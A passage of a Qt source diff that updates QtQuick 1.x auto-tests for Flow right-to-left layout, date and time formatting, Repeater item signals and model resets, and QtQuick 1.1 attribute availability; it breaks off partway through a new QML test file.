@@ -634,6 +972,7 @@ void tst_QDeclarativePositioners::test_flow_resize()
     QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
     QVERIFY(root);
     root->setWidth(125);
+    root->setProperty("testRightToLeft", false);
 
     QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
     QVERIFY(one != 0);
@@ -660,6 +999,40 @@ void tst_QDeclarativePositioners::test_flow_resize()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_flow_resize_rightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+    QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+    QVERIFY(root);
+    root->setWidth(125);
+    root->setProperty("testRightToLeft", true);
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+    QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+    QVERIFY(four != 0);
+    QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+    QVERIFY(five != 0);
+
+    QCOMPARE(one->x(), 75.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 55.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 5.0);
+    QCOMPARE(three->y(), 0.0);
+    QCOMPARE(four->x(), 75.0);
+    QCOMPARE(four->y(), 50.0);
+    QCOMPARE(five->x(), 65.0);
+    QCOMPARE(five->y(), 50.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_flow_implicit_resize()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/flow-testimplicitsize.qml");
@@ -671,16 +1044,21 @@ void tst_QDeclarativePositioners::test_flow_implicit_resize()
     QCOMPARE(flow->width(), 100.0);
     QCOMPARE(flow->height(), 120.0);
 
-    canvas->rootObject()->setProperty("leftToRight", true);
+    canvas->rootObject()->setProperty("flowLayout", 0);
     QCOMPARE(flow->flow(), QDeclarativeFlow::LeftToRight);
     QCOMPARE(flow->width(), 220.0);
     QCOMPARE(flow->height(), 50.0);
 
-    canvas->rootObject()->setProperty("leftToRight", false);
+    canvas->rootObject()->setProperty("flowLayout", 1);
     QCOMPARE(flow->flow(), QDeclarativeFlow::TopToBottom);
     QCOMPARE(flow->width(), 100.0);
     QCOMPARE(flow->height(), 120.0);
 
+    canvas->rootObject()->setProperty("flowLayout", 2);
+    QCOMPARE(flow->layoutDirection(), Qt::RightToLeft);
+    QCOMPARE(flow->width(), 220.0);
+    QCOMPARE(flow->height(), 50.0);
+
     delete canvas;
 }
 
@@ -694,7 +1072,7 @@ void interceptWarnings(QtMsgType type, const char *msg)
 
 void tst_QDeclarativePositioners::test_conflictinganchors()
 {
-    qInstallMsgHandler(interceptWarnings);
+    QtMsgHandler oldMsgHandler = qInstallMsgHandler(interceptWarnings);
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine);
 
@@ -775,6 +1153,7 @@ void tst_QDeclarativePositioners::test_conflictinganchors()
     item = qobject_cast<QDeclarativeItem*>(component.create());
     QVERIFY(item);
     QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow"));
+    qInstallMsgHandler(oldMsgHandler);
 }
 
 void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
@@ -819,6 +1198,49 @@ void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; " + code.toUtf8(), QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; " + code.toUtf8(), QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_QDeclarativePositioners::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("Flow.layoutDirection") << "Flow { layoutDirection: Qt.LeftToRight }"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Flow.layoutDirection\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("Row.layoutDirection") << "Row { layoutDirection: Qt.LeftToRight }"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Row.layoutDirection\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("Grid.layoutDirection") << "Grid { layoutDirection: Qt.LeftToRight }"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Grid.layoutDirection\" is not available in QtQuick 1.0.\n";
+}
+
 QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename)
 {
     QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
index 35c6a29..f520aeb 100644
--- a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
+++ b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
@@ -1,29 +1,44 @@
 import QtQuick 1.0
 
 QtObject {
-    property date date1: "2008-12-24"
-    property string test1: Qt.formatDate(date1)
-    property string test2: Qt.formatDate(date1, Qt.DefaultLocaleLongDate)
-    property string test3: Qt.formatDate(date1, "ddd MMMM d yy")
+    property date dateFromString: "2008-12-24"
+    property variant jsdate: new Date(2008,11,24,14,15,38,200) // months are 0-based
 
-    property variant time1: new Date(0,0,0,14,15,38,200)
-    property string test4: Qt.formatTime(time1)
-    property string test5: Qt.formatTime(time1, Qt.DefaultLocaleLongDate)
-    property string test6: Qt.formatTime(time1, "H:m:s a")
-    property string test7: Qt.formatTime(time1, "hh:mm:ss.zzz")
+    function formatDate(prop) {
+        var v = eval(prop)
+        return [
+            Qt.formatDate(v),
+            Qt.formatDate(v, Qt.DefaultLocaleLongDate),
+            Qt.formatDate(v, "ddd MMMM d yy")
+        ]
+    }
 
-    property variant dateTime1: new Date(1978,2,4,9,13,54)
-    property string test8: Qt.formatDateTime(dateTime1)
-    property string test9: Qt.formatDateTime(dateTime1, Qt.DefaultLocaleLongDate)
-    property string test10: Qt.formatDateTime(dateTime1, "M/d/yy H:m:s a")
+    function formatTime(prop) {
+        var v = eval(prop)
+        return [
+            Qt.formatTime(v),
+            Qt.formatTime(v, Qt.DefaultLocaleLongDate),
+            Qt.formatTime(v, "H:m:s a"),
+            Qt.formatTime(v, "hh:mm:ss.zzz")
+        ]
+    }
+
+    function formatDateTime(prop) {
+        var v = eval(prop)
+        return [
+            Qt.formatDateTime(v),
+            Qt.formatDateTime(v, Qt.DefaultLocaleLongDate),
+            Qt.formatDateTime(v, "M/d/yy H:m:s a")
+        ]
+    }
 
     // Error cases
-    property string test11: Qt.formatDate()
-    property string test12: Qt.formatDate(new Date, new Object)
+    property string err_date1: Qt.formatDate()
+    property string err_date2: Qt.formatDate(new Date, new Object)
 
-    property string test13: Qt.formatTime()
-    property string test14: Qt.formatTime(new Date, new Object)
+    property string err_time1: Qt.formatTime()
+    property string err_time2: Qt.formatTime(new Date, new Object)
 
-    property string test15: Qt.formatDateTime()
-    property string test16: Qt.formatDateTime(new Date, new Object)
+    property string err_dateTime1: Qt.formatDateTime()
+    property string err_dateTime2: Qt.formatDateTime(new Date, new Object)
 }
diff --git a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
index 71ff8a8..4b197eb 100644
--- a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
+++ b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
@@ -1,5 +1,5 @@
 load(qttest_p4)
-contains(QT_CONFIG,declarative): QT += declarative
+contains(QT_CONFIG,declarative): QT += declarative script
 SOURCES += tst_qdeclarativeqt.cpp
 macx:CONFIG -= app_bundle
 
diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
index bd9d01f..80d9d93 100644
--- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
+++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
@@ -38,6 +38,7 @@
 ** $QT_END_LICENSE$
 **
 ****************************************************************************/
+#include <private/qdeclarativeengine_p.h>
 
 #include <qtest.h>
 #include <QDebug>
@@ -81,7 +82,8 @@ private slots:
     void createComponent_pragmaLibrary();
     void createQmlObject();
     void consoleLog();
-    void formatting();
+    void dateTimeFormatting();
+    void dateTimeFormatting_data();
     void isQtObject();
     void btoa();
     void atob();
@@ -446,49 +448,88 @@ void tst_qdeclarativeqt::consoleLog()
     delete object;
 }
 
-void tst_qdeclarativeqt::formatting()
+void tst_qdeclarativeqt::dateTimeFormatting()
 {
-    QDeclarativeComponent component(&engine, TEST_FILE("formatting.qml"));
+    QFETCH(QString, method);
+    QFETCH(QStringList, inputProperties);
+    QFETCH(QStringList, expectedResults);
 
-    QString warning1 = component.url().toString() + ":22: Error: Qt.formatDate(): Invalid date format";
-    QString warning2 = component.url().toString() + ":21: Error: Qt.formatDate(): Invalid arguments";
-    QString warning3 = component.url().toString() + ":28: Error: Qt.formatDateTime(): Invalid datetime format";
-    QString warning4 = component.url().toString() + ":27: Error: Qt.formatDateTime(): Invalid arguments";
-    QString warning5 = component.url().toString() + ":25: Error: Qt.formatTime(): Invalid time format";
-    QString warning6 = component.url().toString() + ":24: Error: Qt.formatTime(): Invalid arguments";
+    QDate date(2008,12,24);
+    QTime time(14,15,38,200);
+    QDateTime dateTime(date, time);
 
-    QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
-    QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
-    QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3));
-    QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4));
-    QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5));
-    QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6));
+    QDeclarativeEngine eng;
+
+    eng.rootContext()->setContextProperty("qdate", date);
+    eng.rootContext()->setContextProperty("qtime", time);
+    eng.rootContext()->setContextProperty("qdatetime", dateTime);
+
+    QDeclarativeComponent component(&eng, TEST_FILE("formatting.qml"));
+
+    QStringList warnings;
+    warnings << component.url().toString() + ":37: Error: Qt.formatDate(): Invalid date format"
+        << component.url().toString() + ":36: Error: Qt.formatDate(): Invalid arguments"
+        << component.url().toString() + ":40: Error: Qt.formatTime(): Invalid time format"
+        << component.url().toString() + ":39: Error: Qt.formatTime(): Invalid arguments"
+        << component.url().toString() + ":43: Error: Qt.formatDateTime(): Invalid datetime format"
+        << component.url().toString() + ":42: Error: Qt.formatDateTime(): Invalid arguments";
+
+    foreach (const QString &warning, warnings)
+        QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
 
     QObject *object = component.create();
+    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
     QVERIFY(object != 0);
 
-    QDate date1(2008,12,24);
-    QCOMPARE(object->property("date1").toDate(), date1);
-    QCOMPARE(object->property("test1").toString(), date1.toString(Qt::DefaultLocaleShortDate));
-    QCOMPARE(object->property("test2").toString(), date1.toString(Qt::DefaultLocaleLongDate));
-    QCOMPARE(object->property("test3").toString(), date1.toString("ddd MMMM d yy"));
-
-    QTime time1(14,15,38,200);
-    QCOMPARE(object->property("time1").toTime(), time1);
-    QCOMPARE(object->property("test4").toString(), time1.toString(Qt::DefaultLocaleShortDate));
-    QCOMPARE(object->property("test5").toString(), time1.toString(Qt::DefaultLocaleLongDate));
-    QCOMPARE(object->property("test6").toString(), time1.toString("H:m:s a"));
-    QCOMPARE(object->property("test7").toString(), time1.toString("hh:mm:ss.zzz"));
-
-    QDateTime dateTime1(QDate(1978,03,04),QTime(9,13,54));
-    QCOMPARE(object->property("dateTime1").toDateTime(),dateTime1);
-    QCOMPARE(object->property("test8").toString(), dateTime1.toString(Qt::DefaultLocaleShortDate));
-    QCOMPARE(object->property("test9").toString(), dateTime1.toString(Qt::DefaultLocaleLongDate));
-    QCOMPARE(object->property("test10").toString(), dateTime1.toString("M/d/yy H:m:s a"));
+    QVERIFY(inputProperties.count() > 0);
+
+    QVariant result;
+    foreach(const QString &prop, inputProperties) {
+        QVERIFY(QMetaObject::invokeMethod(object, method.toUtf8().constData(),
+                Q_RETURN_ARG(QVariant, result),
+                Q_ARG(QVariant, prop)));
+
+        QStringList output = result.toStringList();
+        for (int i=0; i<output.count(); i++)
+            QCOMPARE(output[i], expectedResults[i]);
+    }
 
     delete object;
 }
 
+void tst_qdeclarativeqt::dateTimeFormatting_data()
+{
+    QTest::addColumn<QString>("method");
+    QTest::addColumn<QStringList>("inputProperties");
+    QTest::addColumn<QStringList>("expectedResults");
+
+    QDate date(2008,12,24);
+    QTime time(14,15,38,200);
+    QDateTime dateTime(date, time);
+
+    QTest::newRow("formatDate")
+        << "formatDate"
+        << (QStringList() << "dateFromString" << "jsdate" << "qdate" << "qdatetime")
+        << (QStringList() << date.toString(Qt::DefaultLocaleShortDate)
+                          << date.toString(Qt::DefaultLocaleLongDate)
+                          << date.toString("ddd MMMM d yy"));
+
+    QTest::newRow("formatTime")
+        << "formatTime"
+        << (QStringList() << "jsdate" << "qtime" << "qdatetime")
+        << (QStringList() << time.toString(Qt::DefaultLocaleShortDate)
+                          << time.toString(Qt::DefaultLocaleLongDate)
+                          << time.toString("H:m:s a")
+                          << time.toString("hh:mm:ss.zzz"));
+
+    QTest::newRow("formatDateTime")
+        << "formatDateTime"
+        << (QStringList() << "jsdate" << "qdatetime")
+        << (QStringList() << dateTime.toString(Qt::DefaultLocaleShortDate)
+                          << dateTime.toString(Qt::DefaultLocaleLongDate)
+                          << dateTime.toString("M/d/yy H:m:s a"));
+}
+
 void tst_qdeclarativeqt::isQtObject()
 {
     QDeclarativeComponent component(&engine, TEST_FILE("isQtObject.qml"));
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml
new file mode 100644
index 0000000..0b57d50
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.1
+
+Column {
+    Repeater {
+        id: repeater
+        objectName: "repeater"
+
+        property int itemsCount
+        property variant itemsFound: []
+
+        delegate: Rectangle {
+            color: "red"
+            width: (index+1)*50
+            height: 50
+        }
+
+        onModelChanged: {
+            repeater.itemsCount = repeater.count
+            var items = []
+            for (var i=0; i<repeater.count; i++)
+                items.push(repeater.itemAt(i))
+            repeater.itemsFound = items
+        }
+    }
+}
+
diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
index d849d73..ba52987 100644
--- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
+++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
@@ -69,9 +69,15 @@ private slots:
     void numberModel();
     void objectList();
     void stringList();
-    void dataModel();
+    void dataModel_adding();
+    void dataModel_removing();
+    void dataModel_changes();
     void itemModel();
+    void resetModel();
+    void modelChanged();
     void properties();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     QDeclarativeView *createView();
@@ -186,6 +192,11 @@ void tst_QDeclarativeRepeater::numberModel()
     QVERIFY(repeater != 0);
     QCOMPARE(repeater->parentItem()->childItems().count(), 5+1);
 
+    QVERIFY(!repeater->itemAt(-1));
+    for (int i=0; i<repeater->count(); i++)
+        QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i));
+    QVERIFY(!repeater->itemAt(repeater->count()));
+
     QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
     QVERIFY(testObject->error() == false);
 
@@ -223,6 +234,17 @@ void tst_QDeclarativeRepeater::objectList()
     QCOMPARE(repeater->property("errors").toInt(), 0);//If this fails either they are out of order or can't find the object's data
     QCOMPARE(repeater->property("instantiated").toInt(), 100);
 
+    QVERIFY(!repeater->itemAt(-1));
+    for (int i=0; i<data.count(); i++)
+        QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i));
+    QVERIFY(!repeater->itemAt(data.count()));
+
+    QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+    QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+    ctxt->setContextProperty("testData", QVariant::fromValue(data));
+    QCOMPARE(addedSpy.count(), data.count());
+    QCOMPARE(removedSpy.count(), data.count());
+
     qDeleteAll(data);
     delete canvas;
 }
@@ -284,7 +306,69 @@ void tst_QDeclarativeRepeater::stringList()
     delete canvas;
 }
 
-void tst_QDeclarativeRepeater::dataModel()
+void tst_QDeclarativeRepeater::dataModel_adding()
+{
+    QDeclarativeView *canvas = createView();
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    TestObject *testObject = new TestObject;
+    ctxt->setContextProperty("testObject", testObject);
+
+    TestModel testModel;
+    ctxt->setContextProperty("testData", &testModel);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+    qApp->processEvents();
+
+    QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+    QVERIFY(repeater != 0);
+    QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+    QVERIFY(container != 0);
+
+    QVERIFY(!repeater->itemAt(0));
+
+    QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+    QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+
+    // add to empty model
+    testModel.addItem("two", "2");
+    QCOMPARE(repeater->itemAt(0), container->childItems().at(0));
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(addedSpy.count(), 1);
+    QCOMPARE(addedSpy.at(0).at(0).toInt(), 0);
+    QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(0));
+    addedSpy.clear();
+
+    // insert at start
+    testModel.insertItem(0, "one", "1");
+    QCOMPARE(repeater->itemAt(0), container->childItems().at(0));
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(addedSpy.count(), 1);
+    QCOMPARE(addedSpy.at(0).at(0).toInt(), 0);
+    QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(0));
+    addedSpy.clear();
+
+    // insert at end
+    testModel.insertItem(2, "four", "4");
+    QCOMPARE(repeater->itemAt(2), container->childItems().at(2));
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(addedSpy.count(), 1);
+    QCOMPARE(addedSpy.at(0).at(0).toInt(), 2);
+    QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(2));
+    addedSpy.clear();
+
+    // insert in middle
+    testModel.insertItem(2, "three", "3");
+    QCOMPARE(repeater->itemAt(2), container->childItems().at(2));
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(addedSpy.count(), 1);
+    QCOMPARE(addedSpy.at(0).at(0).toInt(), 2);
+    QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(2));
+    addedSpy.clear();
+
+    delete testObject;
+    delete canvas;
+}
+
+void tst_QDeclarativeRepeater::dataModel_removing()
 {
     QDeclarativeView *canvas = createView();
     QDeclarativeContext *ctxt = canvas->rootContext();
@@ -295,28 +379,84 @@ void tst_QDeclarativeRepeater::dataModel()
     testModel.addItem("one", "1");
     testModel.addItem("two", "2");
     testModel.addItem("three", "3");
+    testModel.addItem("four", "4");
+    testModel.addItem("five", "5");
 
     ctxt->setContextProperty("testData", &testModel);
-
     canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
     qApp->processEvents();
 
     QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
     QVERIFY(repeater != 0);
-
     QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
     QVERIFY(container != 0);
+    QCOMPARE(container->childItems().count(), repeater->count()+1);
+
+    QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+    QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+
+    // remove at start
+    QDeclarativeItem *item = repeater->itemAt(0);
+    QCOMPARE(item, container->childItems().at(0));
+
+    testModel.removeItem(0);
+    QVERIFY(repeater->itemAt(0) != item);
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(removedSpy.count(), 1);
+    QCOMPARE(removedSpy.at(0).at(0).toInt(), 0);
+    QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+    removedSpy.clear();
+
+    // remove at end
+    int lastIndex = testModel.count()-1;
+    item = repeater->itemAt(lastIndex);
+    QCOMPARE(item, container->childItems().at(lastIndex));
+
+    testModel.removeItem(lastIndex);
+    QVERIFY(repeater->itemAt(lastIndex) != item);
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(removedSpy.count(), 1);
+    QCOMPARE(removedSpy.at(0).at(0).toInt(), lastIndex);
+    QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+    removedSpy.clear();
+
+    // remove from middle
+    item = repeater->itemAt(1);
+    QCOMPARE(item, container->childItems().at(1));
+
+    testModel.removeItem(1);
+    QVERIFY(repeater->itemAt(lastIndex) != item);
+    QCOMPARE(countSpy.count(), 1); countSpy.clear();
+    QCOMPARE(removedSpy.count(), 1);
+    QCOMPARE(removedSpy.at(0).at(0).toInt(), 1);
+    QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+    removedSpy.clear();
 
-    QCOMPARE(container->childItems().count(), 4);
+    delete testObject;
+    delete canvas;
+}
 
-    QSignalSpy repeaterSpy(repeater, SIGNAL(countChanged()));
-    testModel.addItem("four", "4");
-    QCOMPARE(container->childItems().count(), 5);
-    QCOMPARE(repeaterSpy.count(),1);
+void tst_QDeclarativeRepeater::dataModel_changes()
+{
+    QDeclarativeView *canvas = createView();
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    TestObject *testObject = new TestObject;
+    ctxt->setContextProperty("testObject", testObject);
 
-    testModel.removeItem(2);
-    QCOMPARE(container->childItems().count(), 4);
-    QCOMPARE(repeaterSpy.count(),2);
+    TestModel testModel;
+    testModel.addItem("one", "1");
+    testModel.addItem("two", "2");
+    testModel.addItem("three", "3");
+
+    ctxt->setContextProperty("testData", &testModel);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+    qApp->processEvents();
+
+    QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+    QVERIFY(repeater != 0);
+    QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+    QVERIFY(container != 0);
+    QCOMPARE(container->childItems().count(), repeater->count()+1);
 
     // Check that model changes are propagated
     QDeclarativeText *text = findItem<QDeclarativeText>(canvas->rootObject(), "myName", 1);
@@ -377,6 +517,93 @@ void tst_QDeclarativeRepeater::itemModel()
     delete canvas;
 }
 
+void tst_QDeclarativeRepeater::resetModel()
+{
+    QDeclarativeView *canvas = createView();
+
+    QStringList dataA;
+    for (int i=0; i<10; i++)
+        dataA << QString::number(i);
+
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testData", dataA);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml"));
+    qApp->processEvents();
+    QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+    QVERIFY(repeater != 0);
+    QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+    QVERIFY(container != 0);
+
+    QCOMPARE(repeater->count(), dataA.count());
+    for (int i=0; i<repeater->count(); i++)
+        QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object
+
+    QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged()));
+    QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+    QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+    QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+
+    QStringList dataB;
+    for (int i=0; i<20; i++)
+        dataB << QString::number(i);
+
+    // reset context property
+    ctxt->setContextProperty("testData", dataB);
+    QCOMPARE(repeater->count(), dataB.count());
+
+    QCOMPARE(modelChangedSpy.count(), 1);
+    QCOMPARE(countSpy.count(), 1);
+    QCOMPARE(removedSpy.count(), dataA.count());
+    QCOMPARE(addedSpy.count(), dataB.count());
+    for (int i=0; i<dataB.count(); i++) {
+        QCOMPARE(addedSpy.at(i).at(0).toInt(), i);
+        QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i));
+    }
+    modelChangedSpy.clear();
+    countSpy.clear();
+    removedSpy.clear();
+    addedSpy.clear();
+
+    // reset via setModel()
+    repeater->setModel(dataA);
+    QCOMPARE(repeater->count(), dataA.count());
+
+    QCOMPARE(modelChangedSpy.count(), 1);
+    QCOMPARE(countSpy.count(), 1);
+    QCOMPARE(removedSpy.count(), dataB.count());
+    QCOMPARE(addedSpy.count(), dataA.count());
+    for (int i=0; i<dataA.count(); i++) {
+        QCOMPARE(addedSpy.at(i).at(0).toInt(), i);
+        QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i));
+    }
+
+    delete canvas;
+}
+
+// QTBUG-17156
+void tst_QDeclarativeRepeater::modelChanged()
+{
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml"));
+
+    QDeclarativeItem *rootObject = qobject_cast<QDeclarativeItem*>(component.create());
+    QVERIFY(rootObject);
+    QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(rootObject, "repeater");
+    QVERIFY(repeater);
+
+    repeater->setModel(4);
+    QCOMPARE(repeater->count(), 4);
+    QCOMPARE(repeater->property("itemsCount").toInt(), 4);
+    QCOMPARE(repeater->property("itemsFound").toList().count(), 4);
+
+    repeater->setModel(10);
+    QCOMPARE(repeater->count(), 10);
+    QCOMPARE(repeater->property("itemsCount").toInt(), 10);
+    QCOMPARE(repeater->property("itemsFound").toList().count(), 10);
+
+    delete rootObject;
+}
+
 void tst_QDeclarativeRepeater::properties()
 {
     QDeclarativeEngine engine;
@@ -407,6 +634,50 @@ void tst_QDeclarativeRepeater::properties()
     delete rootObject;
 }
 
+void tst_QDeclarativeRepeater::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; Repeater { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; Repeater { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+}
+
+void tst_QDeclarativeRepeater::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("itemAdded") << "onItemAdded: count"
+            << "QDeclarativeComponent: Component is not ready"
+            << ":1 \"Repeater.onItemAdded\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("itemRemoved") << "onItemRemoved: count"
+            << "QDeclarativeComponent: Component is not ready"
+            << ":1 \"Repeater.onItemRemoved\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)"
+            << "<Unknown File>:1: ReferenceError: Can't find variable: itemAt"
+            << "";
+}
+
+
 QDeclarativeView *tst_QDeclarativeRepeater::createView()
 {
     QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 0000000..4f58944
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+    id: top
+    width: 200; height: 70;
+
+    property alias horizontalAlignment: text.horizontalAlignment
+    property string text: "اختبا"
+
+    Rectangle {
+        anchors.centerIn: parent
+        width: 180
+        height: 20
